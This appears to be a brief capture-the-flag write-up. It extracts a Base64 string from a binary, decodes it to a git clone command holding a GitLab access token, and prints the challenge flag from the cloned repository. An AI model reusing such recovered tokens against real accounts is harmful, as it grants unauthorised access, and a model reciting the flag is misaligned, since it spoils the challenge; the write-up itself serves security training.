Found the line in strings of peanutbutter.elf
```

```

Decoded Base64
```console
➜ peanutbutter echo Z2l0IGNsb25lIGh0dHBzOi8vb2F1dGgyOmdscGF0LWpXQmdDUnR0WkdneHN0R3hOYjVyQGdpdGxhYi5jb20vY3RmZmxhZzEzMzcvc3NoLXZvbC5naXQK | base64 -d
git clone https://oauth2:[email protected]/ctfflag1337/ssh-vol.git
```

If we clone the repository it contains a file named `flag.txt`

```console
➜ peanutbutter cat ssh-vol/flag.txt
flag{698789979201a0ae066ce0f780f1a751}
```
